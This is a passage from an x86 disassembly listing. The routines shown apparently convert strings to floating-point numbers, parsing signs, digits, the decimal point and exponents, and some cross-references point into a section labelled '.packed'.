		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		and	eax, 80000000h
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		shr	edx, 1
		or	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		shr	edx, 1
		or	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_436240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4362B0	proc near		; CODE XREF: sub_4363F0+8A7p

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], 404Eh
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_8]
		mov	dword ptr [edx+8], 0
		jmp	short loc_4362ED
; ---------------------------------------------------------------------------

loc_4362DB:				; CODE XREF: sub_4362B0+B2j
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx

loc_4362ED:				; CODE XREF: sub_4362B0+29j
		cmp	[ebp+arg_4], 0
		jbe	short loc_436367
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	[ebp+var_C], eax
		mov	ecx, [edx+4]
		mov	[ebp+var_8], ecx
		mov	edx, [edx+8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_4361E0
		add	esp, 4
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_4361E0
		add	esp, 4
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_436130
		add	esp, 8
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_4361E0
		add	esp, 4
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_436130
		add	esp, 8
		jmp	loc_4362DB
; ---------------------------------------------------------------------------

loc_436367:				; CODE XREF: sub_4362B0+41j
					; sub_4362B0+101j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4363B3
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		shr	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		shl	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		shr	ecx, 10h
		or	edx, ecx
		mov	eax, [ebp+arg_8]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		shl	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	cx, [ebp+var_10]
		sub	cx, 10h
		mov	[ebp+var_10], cx
		jmp	short loc_436367
; ---------------------------------------------------------------------------

loc_4363B3:				; CODE XREF: sub_4362B0+BEj
					; sub_4362B0+12Aj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		and	eax, 8000h
		test	eax, eax
		jnz	short loc_4363DC
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_4361E0
		add	esp, 4
		mov	dx, [ebp+var_10]
		sub	dx, 1
		mov	[ebp+var_10], dx
		jmp	short loc_4363B3
; ---------------------------------------------------------------------------

loc_4363DC:				; CODE XREF: sub_4362B0+110j
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_10]
		mov	[eax+0Ah], cx
		mov	esp, ebp
		pop	ebp
		retn
sub_4362B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4363F0	proc near		; CODE XREF: sub_432B20+1Ap
					; .packed:00432B7Ap ...

var_B4		= byte ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= byte ptr -0A8h
var_A4		= byte ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5E		= dword	ptr -5Eh
var_5A		= dword	ptr -5Ah
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_21		= byte ptr -21h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 0B4h
		lea	eax, [ebp+var_38]
		mov	[ebp+var_68], eax
		mov	word ptr [ebp+var_1C], 0
		mov	[ebp+var_74], 1
		mov	[ebp+var_70], 0
		mov	[ebp+var_54], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_40], 0
		mov	[ebp+var_78], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_6C], 0
		mov	[ebp+var_44], 0
		mov	[ebp+var_4C], 0
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	[ebp+var_64], edx
		jmp	short loc_436469
; ---------------------------------------------------------------------------

loc_436460:				; CODE XREF: sub_4363F0:loc_436495j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_436469:				; CODE XREF: sub_4363F0+6Ej
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_436495
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jz	short loc_436495
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Ah
		jz	short loc_436495
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Dh
		jnz	short loc_436497

loc_436495:				; CODE XREF: sub_4363F0+82j
					; sub_4363F0+8Dj ...
		jmp	short loc_436460
; ---------------------------------------------------------------------------

loc_436497:				; CODE XREF: sub_4363F0+A3j
					; sub_4363F0:loc_436BF3j
		cmp	[ebp+var_4C], 0Ah
		jz	loc_436BF8
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_3C], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4C]
		mov	[ebp+var_80], eax
		cmp	[ebp+var_80], 0Bh
		ja	loc_436BF3
		mov	ecx, [ebp+var_80]
		jmp	off_436E0A[ecx*4]

loc_4364CC:				; DATA XREF: .packed:off_436E0Ao
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_4364F0
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_4364F0
		mov	[ebp+var_4C], 3
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_436565
; ---------------------------------------------------------------------------

loc_4364F0:				; CODE XREF: sub_4363F0+E3j
					; sub_4363F0+ECj
		movsx	edx, byte ptr [ebp+var_3C]
		movsx	eax, byte_453EB4
		cmp	edx, eax
		jnz	short loc_436508
		mov	[ebp+var_4C], 5
		jmp	short loc_436565
; ---------------------------------------------------------------------------

loc_436508:				; CODE XREF: sub_4363F0+10Dj
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_84], cl
		cmp	[ebp+var_84], 2Bh
		jz	short loc_436537
		cmp	[ebp+var_84], 2Dh
		jz	short loc_436546
		cmp	[ebp+var_84], 30h
		jz	short loc_43652E
		jmp	short loc_436555
; ---------------------------------------------------------------------------

loc_43652E:				; CODE XREF: sub_4363F0+13Aj
		mov	[ebp+var_4C], 1
		jmp	short loc_436565
; ---------------------------------------------------------------------------

loc_436537:				; CODE XREF: sub_4363F0+128j
		mov	[ebp+var_4C], 2
		mov	word ptr [ebp+var_1C], 0
		jmp	short loc_436565
; ---------------------------------------------------------------------------

loc_436546:				; CODE XREF: sub_4363F0+131j
		mov	[ebp+var_4C], 2
		mov	word ptr [ebp+var_1C], 8000h
		jmp	short loc_436565
; ---------------------------------------------------------------------------

loc_436555:				; CODE XREF: sub_4363F0+13Cj
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx

loc_436565:				; CODE XREF: sub_4363F0+FEj
					; sub_4363F0+116j ...
		jmp	loc_436BF3
; ---------------------------------------------------------------------------

loc_43656A:				; CODE XREF: sub_4363F0+D5j
					; DATA XREF: .packed:00436E0Eo
		mov	[ebp+var_54], 1
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 31h
		jl	short loc_436598
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 39h
		jg	short loc_436598
		mov	[ebp+var_4C], 3
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	loc_43661B
; ---------------------------------------------------------------------------

loc_436598:				; CODE XREF: sub_4363F0+188j
					; sub_4363F0+191j
		movsx	eax, byte ptr [ebp+var_3C]
		movsx	ecx, byte_453EB4
		cmp	eax, ecx
		jnz	short loc_4365B0
		mov	[ebp+var_4C], 4
		jmp	short loc_43661B
; ---------------------------------------------------------------------------

loc_4365B0:				; CODE XREF: sub_4363F0+1B5j
		movsx	edx, byte ptr [ebp+var_3C]
		mov	[ebp+var_88], edx
		mov	eax, [ebp+var_88]
		sub	eax, 2Bh
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 3Ah
		ja	short loc_43660B
		mov	edx, [ebp+var_88]
		xor	ecx, ecx
		mov	cl, byte_436E4A[edx]
		jmp	off_436E3A[ecx*4]

loc_4365E7:				; CODE XREF: sub_4363F0+D5j
					; DATA XREF: .packed:00436E3Eo
		mov	[ebp+var_4C], 1
		jmp	short loc_43661B
; ---------------------------------------------------------------------------

loc_4365F0:				; CODE XREF: sub_4363F0+D5j
					; sub_4363F0+1F0j
					; DATA XREF: ...
		mov	[ebp+var_4C], 6
		jmp	short loc_43661B
; ---------------------------------------------------------------------------

loc_4365F9:				; CODE XREF: sub_4363F0+D5j
					; sub_4363F0+1F0j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_43661B
; ---------------------------------------------------------------------------

loc_43660B:				; CODE XREF: sub_4363F0+D5j
					; sub_4363F0+1E0j ...
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx

loc_43661B:				; CODE XREF: sub_4363F0+1A3j
					; sub_4363F0+1BEj ...
		jmp	loc_436BF3
; ---------------------------------------------------------------------------

loc_436620:				; CODE XREF: sub_4363F0+D5j
					; DATA XREF: .packed:00436E12o
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_436644
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_436644
		mov	[ebp+var_4C], 3
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_436686
; ---------------------------------------------------------------------------

loc_436644:				; CODE XREF: sub_4363F0+237j
					; sub_4363F0+240j
		movsx	edx, byte ptr [ebp+var_3C]
		movsx	eax, byte_453EB4
		cmp	edx, eax
		jnz	short loc_43665C
		mov	[ebp+var_4C], 5
		jmp	short loc_436686
; ---------------------------------------------------------------------------

loc_43665C:				; CODE XREF: sub_4363F0+261j
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_8C], cl
		cmp	[ebp+var_8C], 30h
		jz	short loc_436670
		jmp	short loc_436679
; ---------------------------------------------------------------------------

loc_436670:				; CODE XREF: sub_4363F0+27Cj
		mov	[ebp+var_4C], 1
		jmp	short loc_436686
; ---------------------------------------------------------------------------

loc_436679:				; CODE XREF: sub_4363F0+27Ej
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4], edx

loc_436686:				; CODE XREF: sub_4363F0+252j
					; sub_4363F0+26Aj ...
		jmp	loc_436BF3
; ---------------------------------------------------------------------------

loc_43668B:				; CODE XREF: sub_4363F0+D5j
					; DATA XREF: .packed:00436E16o
		mov	[ebp+var_54], 1
		jmp	short loc_4366A5
; ---------------------------------------------------------------------------

loc_436694:				; CODE XREF: sub_4363F0:loc_43671Fj
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_3C], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_4366A5:				; CODE XREF: sub_4363F0+2A2j
		cmp	dword_453EB0, 1
		jle	short loc_4366C9
		push	4
		mov	eax, [ebp+var_3C]
		and	eax, 0FFh
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_90], eax
		jmp	short loc_4366E7
; ---------------------------------------------------------------------------

loc_4366C9:				; CODE XREF: sub_4363F0+2BCj
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_90], eax

loc_4366E7:				; CODE XREF: sub_4363F0+2D7j
		cmp	[ebp+var_90], 0
		jz	short loc_436724
		cmp	[ebp+var_70], 19h
		jnb	short loc_436716
		mov	ecx, [ebp+var_70]
		add	ecx, 1
		mov	[ebp+var_70], ecx
		movsx	edx, byte ptr [ebp+var_3C]
		sub	edx, 30h
		mov	eax, [ebp+var_68]
		mov	[eax], dl
		mov	ecx, [ebp+var_68]
		add	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_43671F
; ---------------------------------------------------------------------------

loc_436716:				; CODE XREF: sub_4363F0+304j
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx

loc_43671F:				; CODE XREF: sub_4363F0+324j
		jmp	loc_436694
; ---------------------------------------------------------------------------

loc_436724:				; CODE XREF: sub_4363F0+2FEj
		movsx	eax, byte ptr [ebp+var_3C]
		movsx	ecx, byte_453EB4
		cmp	eax, ecx
		jnz	short loc_43673C
		mov	[ebp+var_4C], 4
		jmp	short loc_43679E
; ---------------------------------------------------------------------------

loc_43673C:				; CODE XREF: sub_4363F0+341j
		movsx	edx, byte ptr [ebp+var_3C]
		mov	[ebp+var_94], edx
		mov	eax, [ebp+var_94]
		sub	eax, 2Bh
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 3Ah
		ja	short loc_43678E
		mov	edx, [ebp+var_94]
		xor	ecx, ecx
		mov	cl, byte_436E91[edx]
		jmp	off_436E85[ecx*4]

loc_436773:				; DATA XREF: .packed:00436E89o
		mov	[ebp+var_4C], 6
		jmp	short loc_43679E
; ---------------------------------------------------------------------------

loc_43677C:				; CODE XREF: sub_4363F0+37Cj
					; DATA XREF: .packed:off_436E85o
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_43679E
; ---------------------------------------------------------------------------

loc_43678E:				; CODE XREF: sub_4363F0+36Cj
					; sub_4363F0+37Cj
					; DATA XREF: ...
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx

loc_43679E:				; CODE XREF: sub_4363F0+34Aj
					; sub_4363F0+38Aj ...
		jmp	loc_436BF3
; ---------------------------------------------------------------------------

loc_4367A3:				; CODE XREF: sub_4363F0+D5j
					; DATA XREF: .packed:00436E1Ao
		mov	[ebp+var_54], 1
		mov	[ebp+var_C], 1
		cmp	[ebp+var_70], 0
		jnz	short loc_4367DE
		jmp	short loc_4367CA
; ---------------------------------------------------------------------------

loc_4367B9:				; CODE XREF: sub_4363F0+3ECj
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_3C], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_4367CA:				; CODE XREF: sub_4363F0+3C7j
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 30h
		jnz	short loc_4367DE
		mov	eax, [ebp+var_6C]
		sub	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_4367B9
; ---------------------------------------------------------------------------

loc_4367DE:				; CODE XREF: sub_4363F0+3C5j
					; sub_4363F0+3E1j
		jmp	short loc_4367F1
; ---------------------------------------------------------------------------

loc_4367E0:				; CODE XREF: sub_4363F0:loc_436869j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_4367F1:				; CODE XREF: sub_4363F0:loc_4367DEj
		cmp	dword_453EB0, 1
		jle	short loc_436816
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_98], eax
		jmp	short loc_436833
; ---------------------------------------------------------------------------

loc_436816:				; CODE XREF: sub_4363F0+408j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_98], ecx

loc_436833:				; CODE XREF: sub_4363F0+424j
		cmp	[ebp+var_98], 0
		jz	short loc_43686E
		cmp	[ebp+var_70], 19h
		jnb	short loc_436869
		mov	edx, [ebp+var_70]
		add	edx, 1
		mov	[ebp+var_70], edx
		movsx	eax, byte ptr [ebp+var_3C]
		sub	eax, 30h
		mov	ecx, [ebp+var_68]
		mov	[ecx], al
		mov	edx, [ebp+var_68]
		add	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_6C]
		sub	eax, 1
		mov	[ebp+var_6C], eax

loc_436869:				; CODE XREF: sub_4363F0+450j
		jmp	loc_4367E0
; ---------------------------------------------------------------------------

loc_43686E:				; CODE XREF: sub_4363F0+44Aj
		movsx	ecx, byte ptr [ebp+var_3C]
		mov	[ebp+var_9C], ecx
		mov	edx, [ebp+var_9C]
		sub	edx, 2Bh
		mov	[ebp+var_9C], edx
		cmp	[ebp+var_9C], 3Ah
		ja	short loc_4368C0
		mov	ecx, [ebp+var_9C]
		xor	eax, eax
		mov	al, byte_436ED8[ecx]
		jmp	off_436ECC[eax*4]

loc_4368A5:				; DATA XREF: .packed:00436ED0o
		mov	[ebp+var_4C], 6
		jmp	short loc_4368D0
; ---------------------------------------------------------------------------

loc_4368AE:				; CODE XREF: sub_4363F0+4AEj
					; DATA XREF: .packed:off_436ECCo
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_4368D0
; ---------------------------------------------------------------------------

loc_4368C0:				; CODE XREF: sub_4363F0+49Ej
					; sub_4363F0+4AEj
					; DATA XREF: ...
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax

loc_4368D0:				; CODE XREF: sub_4363F0+4BCj
					; sub_4363F0+4CEj
		jmp	loc_436BF3
; ---------------------------------------------------------------------------

loc_4368D5:				; CODE XREF: sub_4363F0+D5j
					; DATA XREF: .packed:00436E1Eo
		mov	[ebp+var_C], 1
		cmp	dword_453EB0, 1
		jle	short loc_436901
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_A0], eax
		jmp	short loc_43691E
; ---------------------------------------------------------------------------

loc_436901:				; CODE XREF: sub_4363F0+4F3j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_A0], ecx

loc_43691E:				; CODE XREF: sub_4363F0+50Fj
		cmp	[ebp+var_A0], 0
		jz	short loc_436939
		mov	[ebp+var_4C], 4
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_436946
; ---------------------------------------------------------------------------

loc_436939:				; CODE XREF: sub_4363F0+535j
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax

loc_436946:				; CODE XREF: sub_4363F0+547j
		jmp	loc_436BF3
; ---------------------------------------------------------------------------

loc_43694B:				; CODE XREF: sub_4363F0+D5j
					; DATA XREF: .packed:00436E22o
		mov	ecx, [ebp+var_4]
		sub	ecx, 2
		mov	[ebp+var_64], ecx
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_436978
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_436978
		mov	[ebp+var_4C], 9
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_4369CD
; ---------------------------------------------------------------------------

loc_436978:				; CODE XREF: sub_4363F0+56Bj
					; sub_4363F0+574j
		mov	dl, byte ptr [ebp+var_3C]
		mov	[ebp+var_A4], dl
		cmp	[ebp+var_A4], 2Bh
		jz	short loc_4369B7
		cmp	[ebp+var_A4], 2Dh
		jz	short loc_4369A7
		cmp	[ebp+var_A4], 30h
		jz	short loc_43699E
		jmp	short loc_4369C0
; ---------------------------------------------------------------------------

loc_43699E:				; CODE XREF: sub_4363F0+5AAj
		mov	[ebp+var_4C], 8
		jmp	short loc_4369CD
; ---------------------------------------------------------------------------

loc_4369A7:				; CODE XREF: sub_4363F0+5A1j
		mov	[ebp+var_4C], 7
		mov	[ebp+var_74], 0FFFFFFFFh
		jmp	short loc_4369CD
; ---------------------------------------------------------------------------

loc_4369B7:				; CODE XREF: sub_4363F0+598j
		mov	[ebp+var_4C], 7
		jmp	short loc_4369CD
; ---------------------------------------------------------------------------

loc_4369C0:				; CODE XREF: sub_4363F0+5ACj
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax

loc_4369CD:				; CODE XREF: sub_4363F0+586j
					; sub_4363F0+5B5j ...
		jmp	loc_436BF3
; ---------------------------------------------------------------------------

loc_4369D2:				; CODE XREF: sub_4363F0+D5j
					; DATA XREF: .packed:00436E2Ao
		mov	[ebp+var_18], 1
		jmp	short loc_4369EC
; ---------------------------------------------------------------------------

loc_4369DB:				; CODE XREF: sub_4363F0+605j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_4369EC:				; CODE XREF: sub_4363F0+5E9j
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 30h
		jnz	short loc_4369F7
		jmp	short loc_4369DB
; ---------------------------------------------------------------------------

loc_4369F7:				; CODE XREF: sub_4363F0+603j
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_436A1B
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_436A1B
		mov	[ebp+var_4C], 9
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_436A2B
; ---------------------------------------------------------------------------

loc_436A1B:				; CODE XREF: sub_4363F0+60Ej
					; sub_4363F0+617j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx

loc_436A2B:				; CODE XREF: sub_4363F0+629j
		jmp	loc_436BF3
; ---------------------------------------------------------------------------

loc_436A30:				; CODE XREF: sub_4363F0+D5j
					; DATA XREF: .packed:00436E26o
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 31h
		jl	short loc_436A54
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 39h
		jg	short loc_436A54
		mov	[ebp+var_4C], 9
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_436A7E
; ---------------------------------------------------------------------------

loc_436A54:				; CODE XREF: sub_4363F0+647j
					; sub_4363F0+650j
		mov	al, byte ptr [ebp+var_3C]
		mov	[ebp+var_A8], al
		cmp	[ebp+var_A8], 30h
		jz	short loc_436A68
		jmp	short loc_436A71
; ---------------------------------------------------------------------------

loc_436A68:				; CODE XREF: sub_4363F0+674j
		mov	[ebp+var_4C], 8
		jmp	short loc_436A7E
; ---------------------------------------------------------------------------

loc_436A71:				; CODE XREF: sub_4363F0+676j
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_64]
		mov	[ebp+var_4], ecx

loc_436A7E:				; CODE XREF: sub_4363F0+662j
					; sub_4363F0+67Fj
		jmp	loc_436BF3
; ---------------------------------------------------------------------------

loc_436A83:				; CODE XREF: sub_4363F0+D5j
					; DATA XREF: .packed:00436E2Eo
		mov	[ebp+var_18], 1
		mov	[ebp+var_7C], 0
		jmp	short loc_436AA4
; ---------------------------------------------------------------------------

loc_436A93:				; CODE XREF: sub_4363F0:loc_436B12j
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_3C], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_436AA4:				; CODE XREF: sub_4363F0+6A1j
		cmp	dword_453EB0, 1
		jle	short loc_436AC9
		push	4
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		push	edx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_AC], eax
		jmp	short loc_436AE6
; ---------------------------------------------------------------------------

loc_436AC9:				; CODE XREF: sub_4363F0+6BBj
		mov	eax, [ebp+var_3C]
		and	eax, 0FFh
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_AC], edx

loc_436AE6:				; CODE XREF: sub_4363F0+6D7j
		cmp	[ebp+var_AC], 0
		jz	short loc_436B17
		mov	eax, [ebp+var_7C]
		imul	eax, 0Ah
		movsx	ecx, byte ptr [ebp+var_3C]
		lea	edx, [eax+ecx-30h]
		mov	[ebp+var_7C], edx
		cmp	[ebp+var_7C], 1450h
		jle	short loc_436B12
		mov	[ebp+var_7C], 1451h
		jmp	short loc_436B17
; ---------------------------------------------------------------------------

loc_436B12:				; CODE XREF: sub_4363F0+717j
		jmp	loc_436A93
; ---------------------------------------------------------------------------

loc_436B17:				; CODE XREF: sub_4363F0+6FDj
					; sub_4363F0+720j
		mov	eax, [ebp+var_7C]
		mov	[ebp+var_14], eax
		jmp	short loc_436B30
; ---------------------------------------------------------------------------

loc_436B1F:				; CODE XREF: sub_4363F0+78Bj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_436B30:				; CODE XREF: sub_4363F0+72Dj
		cmp	dword_453EB0, 1
		jle	short loc_436B55
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_B0], eax
		jmp	short loc_436B72
; ---------------------------------------------------------------------------

loc_436B55:				; CODE XREF: sub_4363F0+747j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_B0], ecx

loc_436B72:				; CODE XREF: sub_4363F0+763j
		cmp	[ebp+var_B0], 0
		jz	short loc_436B7D
		jmp	short loc_436B1F
; ---------------------------------------------------------------------------

loc_436B7D:				; CODE XREF: sub_4363F0+789j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_436BF3
; ---------------------------------------------------------------------------

loc_436B8F:				; CODE XREF: sub_4363F0+D5j
					; DATA XREF: .packed:00436E36o
